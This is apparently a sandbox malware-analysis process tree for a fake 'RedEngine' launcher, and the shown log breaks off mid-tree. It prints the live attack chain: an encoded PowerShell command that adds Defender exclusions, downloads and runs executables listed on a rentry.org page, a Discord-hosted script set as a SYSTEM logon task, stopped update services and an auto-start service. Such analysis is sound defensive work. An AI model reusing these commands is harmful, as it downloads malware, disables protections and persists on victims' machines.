C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3132

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
3⤵
PID:5036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1004

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2572

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3368

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:3452

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RedEngine.7z
2⤵
PID:1788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4528

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd4ef3ab58,0x7ffd4ef3ab68,0x7ffd4ef3ab78
3⤵
PID:3084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1696 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:2
3⤵
PID:3840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4908

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2220 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:2496

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3096 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:4536

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3132 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:4116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4360 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:4476

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4500 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4636 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4836

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4536 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:784

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4848 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4800

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4624 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4912 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:3916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3328 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:1028

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4488 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4276 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:1820

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3372 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:3552

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2488 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:3704

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4988 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4536

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5244 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:2676

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5228 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:2220

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5308 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:3428

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3300 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:5032

C:\Users\Admin\Downloads\7z2407-x64.exe
"C:\Users\Admin\Downloads\7z2407-x64.exe"
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
PID:408

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=848 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:1976

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5152 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:2824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5560 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:4460

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5568 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:1648

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=5824 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:1
3⤵
PID:3764

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:3872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5404 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:8
3⤵
PID:3868

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5388 --field-trial-handle=1920,i,1436669743675606779,13448776659065591083,131072 /prefetch:2
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3344

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\RedEngine\" -spe -an -ai#7zMap15531:78:7zEvent21816
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:3428

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\RedEngine.7z"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:4084

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:1576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3948

C:\Users\Admin\AppData\Roaming\yyarru0m.1at0.exe
"C:\Users\Admin\AppData\Roaming\yyarru0m.1at0.exe"
4⤵
- Executes dropped EXE
PID:4984

C:\Users\Admin\AppData\Roaming\yyarru0m.1at1.exe
"C:\Users\Admin\AppData\Roaming\yyarru0m.1at1.exe"
4⤵
- Executes dropped EXE
PID:3576

C:\Users\Admin\AppData\Roaming\yyarru0m.1at2.exe
"C:\Users\Admin\AppData\Roaming\yyarru0m.1at2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:4848

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\42F1.tmp\42F2.tmp\42F3.bat C:\Users\Admin\AppData\Roaming\yyarru0m.1at2.exe"
5⤵
PID:3560

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:1564

C:\Windows\system32\where.exe
where node
6⤵
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2060

C:\Windows\system32\msiexec.exe
msiexec /i nodejs-installer.msi /quiet
6⤵
PID:1036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1249224125830922300/1249224157745516664/index.js?ex=666dc668&is=666c74e8&hm=5dfd52c5327ffb2554e248dcb902443533012613ad4f330995dc83169665440c&' -OutFile 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:2196

C:\Windows\system32\schtasks.exe
schtasks /Create /SC ONLOGON /TN "RunNodeScriptAtLogon" /TR "node.exe 'C:\Users\Admin\AppData\Local\Temp\chrome2\index.js'" /RU SYSTEM /F
6⤵
- Scheduled Task/Job: Scheduled Task
PID:3284

F:\RedEngine\Launcher.exe
"F:\RedEngine\Launcher.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4184

C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn0.exe
"C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn0.exe"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1584

C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn1.exe
"C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn1.exe"
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4728

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:1336

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
6⤵
PID:5308

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
5⤵
- Launches sc.exe
PID:4484

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:3076

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
5⤵
- Launches sc.exe
PID:4896

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
5⤵
- Launches sc.exe
PID:2468

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
5⤵
- Launches sc.exe
PID:5764

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
5⤵
- Power Settings
PID:1920

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
5⤵
- Power Settings
PID:5256

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
5⤵
- Power Settings
PID:5668

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
5⤵
- Power Settings
PID:5948

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
5⤵
PID:5992

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "AAWUFTXN"
5⤵
- Launches sc.exe
PID:784

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "AAWUFTXN" binpath= "C:\ProgramData\acspebqjhjkn\gjouiuwovvdx.exe" start= "auto"
5⤵
- Launches sc.exe
PID:5976

C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn2.exe
"C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn2.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:5004

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2353.tmp\2354.tmp\2355.bat C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn2.exe"
5⤵
PID:1904

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:1412

C:\Windows\system32\where.exe
where node
6⤵
PID:4292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://nodejs.org/dist/v20.12.2/node-v20.12.2-x64.msi' -OutFile 'nodejs-installer.msi'"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
